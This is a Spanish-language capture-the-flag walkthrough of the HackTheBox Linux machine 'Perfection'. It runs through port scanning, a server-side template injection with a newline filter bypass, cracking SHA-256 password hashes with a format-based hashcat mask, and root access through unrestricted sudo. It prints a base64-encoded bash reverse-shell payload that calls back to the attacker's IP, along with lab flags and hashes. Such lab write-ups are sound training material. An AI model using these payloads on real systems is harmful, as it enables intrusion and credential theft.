Perfection es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Perfection 10.10.11.253 a /etc/hosts como perfection.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.253 Nmap scan report for 10.10.11.253 Host is up, received echo-reply ttl 63 (0.036s latency). Scanned at 2024-03-08 13:59:43 GMT for 13s Not shown: 65244 closed tcp ports (reset), 289 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Mar 8 13:59:56 2024 -- 1 IP address (1 host up) scanned in 13.36 seconds |
Una vez descubiertos los puertos abiertos, analizamos más a fondo los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.253 Nmap scan report for 10.10.11.253 Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA) |_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519) 80/tcp open http nginx |_http-title: Weighted Grade Calculator Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 8 14:00:25 2024 -- 1 IP address (1 host up) scanned in 14.20 seconds |
Enumeración
Accedemos al portal web del puerto 80 y vemos la siguiente página
Nada más entrar vemos en el footer de la página el software y versión utilizados
|
1 |
Powered by WEBrick 1.7.0 |
Así que nos vamos a google y encontramos un exploit en la web de exploit-db
Pero necesitamos algo más para poder llevar a cabo el ataque, así que seguimos revisando la página web y encontramos una página con un formulario para calculos
Interceptamos con burp y hacemos varias pruebas con la vulnerabilidad vista antes
Aunque no conseguimos saltarnos el filtro, por lo que hacemos varias pruebas y conseguimos saltar el mismo y explotar la vulnerabilidad de SSTI con el siguiente payload
|
1 |
<%= 7*7 %> |
Y saltamos la restricción de comprobación añadiendo el valor
|
1 |
%0A |
Visto que conseguimos ejecutar el payload, vamos a obtener una revshell con el siguiente payload
|
1 |
Maths%0A;<%25%3d+system("echo IyEvYmluL2Jhc2gKYmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNy80NDMgMD4mMSI=|base64 -d|bash")+%25>+ |
Y tenemos una revshell con el usuario susan
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 443 Listening on 0.0.0.0 443 Connection received on 10.10.11.253 33514 bash: cannot set terminal process group (987): Inappropriate ioctl for device bash: no job control in this shell susan@perfection:~/ruby_app$ whoami whoami susan susan@perfection:~/ruby_app$ |
Obteniendo la flag de user
Vamos a la home del usuario susan y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 |
susan@perfection:~$ ls -l ls -l total 12 drwxr-xr-x 2 root root 4096 Oct 27 10:36 Migration drwxr-xr-x 4 root susan 4096 Oct 27 10:36 ruby_app -rw-r----- 1 root susan 33 Mar 8 12:44 user.txt susan@perfection:~$ cat user.txt cat user.txt befa6d5ff678a9daa7dfa51cef12dfc9 susan@perfection:~$ |
Escalado de privilegios
Revisamos la home del usuario y encontramos un fichero de base de datos sqlite
|
1 2 3 4 5 6 7 8 |
susan@perfection:~/Migration$ ls -l ls -l total 8 -rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db susan@perfection:~/Migration$ file pupilpath_credentials.db file pupilpath_credentials.db pupilpath_credentials.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6 |
Y si miramos con strings obtenemos varios hashes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
susan@perfection:~/Migration$ strings pupilpath_credentials.db strings pupilpath_credentials.db SQLite format 3 tableusersusers CREATE TABLE users ( id INTEGER PRIMARY KEY, name TEXT, password TEXT Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f |
Tratamos de descifrar los mismos pero no hay forma, así que seguimos investigando y encontramos un correo donde explica el formato que debería de tener la password
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
susan@perfection:/var/spool/mail$ ls -l ls -l total 4 -rw-r----- 1 root susan 625 May 14 2023 susan susan@perfection:/var/spool/mail$ cat susan cat susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is: {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform. - Tina, your delightful student |
Así que nos vamos a hashcat con el formato descubierto y sacamos la password en plano
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ hashcat -m 1400 hashes -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d ... abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210 Session..........: hashcat Status...........: Cracked Hash.Mode........: 1400 (SHA2-256) Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f Time.Started.....: Fri Mar 8 14:39:12 2024 (5 mins, 44 secs) Time.Estimated...: Fri Mar 8 14:44:56 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 961.3 kH/s (0.59ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 324557824/1000000000 (32.46%) Rejected.........: 0/324557824 (0.00%) Restore.Point....: 324556800/1000000000 (32.46%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: susan_nasus_126824210 -> susan_nasus_903759210 Hardware.Mon.#1..: Util: 78% |
Conectamos por ssh con las credenciales y revisando los permisos vemos que el usuario tiene control total
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
$ ssh susan@perfection.htb The authenticity of host 'perfection.htb (10.10.11.253)' can't be established. ED25519 key fingerprint is SHA256:Wtv7NKgGLpeIk/fWBeL2EmYo61eHT7hcltaFwt3YGrI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'perfection.htb' (ED25519) to the list of known hosts. susan@perfection.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Mar 8 02:46:48 PM UTC 2024 System load: 0.080078125 Usage of /: 53.0% of 5.80GB Memory usage: 7% Swap usage: 0% Processes: 223 Users logged in: 1 IPv4 address for eth0: 10.10.11.253 IPv6 address for eth0: dead:beef::250:56ff:feb9:9821 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. 4 additional security updates can be applied with ESM Apps. Learn more about enabling ESM Apps service at https://ubuntu.com/esm The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings You have mail. Last login: Fri Mar 8 13:59:21 2024 from 10.10.14.4 susan@perfection:~$ sudo -l [sudo] password for susan: Matching Defaults entries for susan on perfection: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User susan may run the following commands on perfection: (ALL : ALL) ALL |
Obteniendo la flag de root
Viendo los permisos del usuario, escalamos a root y cogemos la flag
|
1 2 3 4 5 6 |
susan@perfection:~$ sudo su - root@perfection:~# id uid=0(root) gid=0(root) groups=0(root) root@perfection:~# cat /root/root.txt 7d3c5c50ae6bd15ad37717c547f08240 root@perfection:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
